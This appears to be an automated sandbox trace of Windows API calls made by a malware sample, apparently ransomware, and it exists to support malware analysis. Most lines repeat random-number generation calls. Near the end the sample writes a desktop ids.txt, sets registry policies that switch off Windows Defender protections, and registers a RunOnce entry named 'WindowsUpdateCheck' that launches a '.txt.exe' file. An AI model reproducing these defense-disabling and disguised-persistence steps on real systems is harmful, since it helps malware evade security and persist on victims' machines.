	[0031.142] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.142] CryptAcquireContextW (in: phProv=0x39d41c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d41c*=0x5b6c38) returned 1
	[0031.142] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d430 | out: pbBuffer=0x39d430) returned 1
	[0031.142] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0031.146] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.147] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.147] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.147] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.147] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.147] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.147] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.148] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.148] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.148] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.149] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.149] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.149] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.150] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.150] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.150] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.150] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.150] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.150] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.151] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.151] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.151] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.152] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.152] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.152] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.153] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.153] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.153] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.153] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.153] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.153] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.154] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.154] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.154] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.155] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.155] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.155] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.156] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.156] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.156] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.156] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.156] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.157] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.157] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.157] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.157] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.158] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.158] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.158] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.159] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.159] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.159] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.159] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.159] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.159] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.160] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.160] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.160] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.161] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.161] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.161] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.162] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.162] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.162] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.162] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.162] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.162] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.163] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.163] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.163] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.164] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.164] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.164] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.164] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.165] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.165] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.165] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.165] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.165] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.166] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.166] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.166] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.167] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.167] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.167] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.168] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.168] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.168] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.168] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.168] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.168] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.169] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.169] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.169] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.170] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.170] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.170] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.171] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.171] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.171] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.172] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.172] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.172] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.172] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.172] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.172] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.173] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.173] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.173] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.174] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.174] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.174] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.175] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.175] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.175] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.175] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.175] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.175] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.176] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.176] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.176] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.177] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.177] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.177] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.178] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.178] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.178] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.178] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.178] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.178] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.179] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.179] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.179] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.180] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.180] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.180] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.181] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.181] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.181] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.181] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.181] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.181] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.182] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.182] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.182] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.183] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.183] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.183] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.184] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.184] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.184] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.184] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.184] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.184] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.186] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.186] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.187] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.187] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.187] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0034.735] lstrcpynA (in: lpString1=0x39da08, lpString2="local", iMaxLength=56 | out: lpString1="local") returned="local"
	[0034.740] lstrcatA (in: lpString1="", lpString2="\r\n\r\n" | out: lpString1="\r\n\r\n") returned="\r\n\r\n"
	[0034.740] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x80
	[0034.745] SetFilePointer (in: hFile=0x80, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0034.745] WriteFile (in: hFile=0x80, lpBuffer=0x598030*, nNumberOfBytesToWrite=0x41b, lpNumberOfBytesWritten=0x39d8b8, lpOverlapped=0x0 | out: lpBuffer=0x598030*, lpNumberOfBytesWritten=0x39d8b8*=0x41b, lpOverlapped=0x0) returned 1
	[0034.746] CloseHandle (hObject=0x80) returned 1
	[0034.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598030 | out: hHeap=0x580000) returned 1
	[0034.748] GetSystemInfo (in: lpSystemInfo=0x125ca00 | out: lpSystemInfo=0x125ca00*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) 
	[0034.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7568
	[0034.749] RtlInitializeSListHead (in: ListHead=0x5b7570 | out: ListHead=0x5b7570) 
	[0034.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7588
	[0034.749] RtlInitializeSListHead (in: ListHead=0x5b7590 | out: ListHead=0x5b7590) 
	[0034.749] RegCreateKeyW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\HomeGroup", phkResult=0x39db7c | out: phkResult=0x39db7c*=0x80) returned 0x0
	[0034.750] RegSetValueExW (in: hKey=0x80, lpValueName="DisableHomeGroup", Reserved=0x0, dwType=0x4, lpData=0x39db78*=0x1, cbData=0x4 | out: lpData=0x39db78*=0x1) returned 0x0
	[0034.751] RegCloseKey (hKey=0x80) returned 0x0
	[0034.751] RegCreateKeyW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows Defender", phkResult=0x39db7c | out: phkResult=0x39db7c*=0x80) returned 0x0
	[0034.751] RegSetValueExW (in: hKey=0x80, lpValueName="DisableAntiSpyware", Reserved=0x0, dwType=0x4, lpData=0x39db78*=0x1, cbData=0x4 | out: lpData=0x39db78*=0x1) returned 0x0
	[0034.751] RegCloseKey (hKey=0x80) returned 0x0
	[0034.751] RegCreateKeyW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Policy Manager", phkResult=0x39db7c | out: phkResult=0x39db7c*=0x80) returned 0x0
	[0034.751] RegCloseKey (hKey=0x80) returned 0x0
	[0034.751] RegCreateKeyW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", phkResult=0x39db7c | out: phkResult=0x39db7c*=0x80) returned 0x0
	[0034.752] RegSetValueExW (in: hKey=0x80, lpValueName="DisableRealtimeMonitoring", Reserved=0x0, dwType=0x4, lpData=0x39db78*=0x1, cbData=0x4 | out: lpData=0x39db78*=0x1) returned 0x0
	[0034.752] RegSetValueExW (in: hKey=0x80, lpValueName="DisableBehaviorMonitoring", Reserved=0x0, dwType=0x4, lpData=0x39db78*=0x1, cbData=0x4 | out: lpData=0x39db78*=0x1) returned 0x0
	[0034.752] RegSetValueExW (in: hKey=0x80, lpValueName="DisableOnAccessProtection", Reserved=0x0, dwType=0x4, lpData=0x39db78*=0x1, cbData=0x4 | out: lpData=0x39db78*=0x1) returned 0x0
	[0034.752] RegCloseKey (hKey=0x80) returned 0x0
	[0034.752] RegCreateKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", phkResult=0x39db7c | out: phkResult=0x39db7c*=0x84) returned 0x0
	[0034.753] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Apollon865.txt.exe") returned 56
	[0034.753] RegSetValueExW (in: hKey=0x84, lpValueName="WindowsUpdateCheck", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Apollon865.txt.exe", cbData=0x70 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Apollon865.txt.exe") returned 0x0
	[0034.753] RegCloseKey (hKey=0x84) returned 0x0
	[0034.753] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1c) returned 0x597538
	[0034.753] GetLastError () returned 0x0
	[0034.753] SetLastError (dwErrCode=0x0) 
	[0034.754] GetLastError () returned 0x0
	[0034.754] SetLastError (dwErrCode=0x0) 
	[0034.754] GetProcAddress (hModule=0x76c20000, lpProcName="AreFileApisANSI") returned 0x76cb40d1
	[0034.754] AreFileApisANSI () returned 1
	[0034.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x597538, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28
	[0034.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x38) returned 0x5ba730
	[0034.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x597538, cbMultiByte=-1, lpWideCharStr=0x5ba730, cchWideChar=28 | out: lpWideCharStr="C:\\Windows\\system32\\cmd.exe") returned 28
	[0034.754] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x39dad8 | out: lpFileInformation=0x39dad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
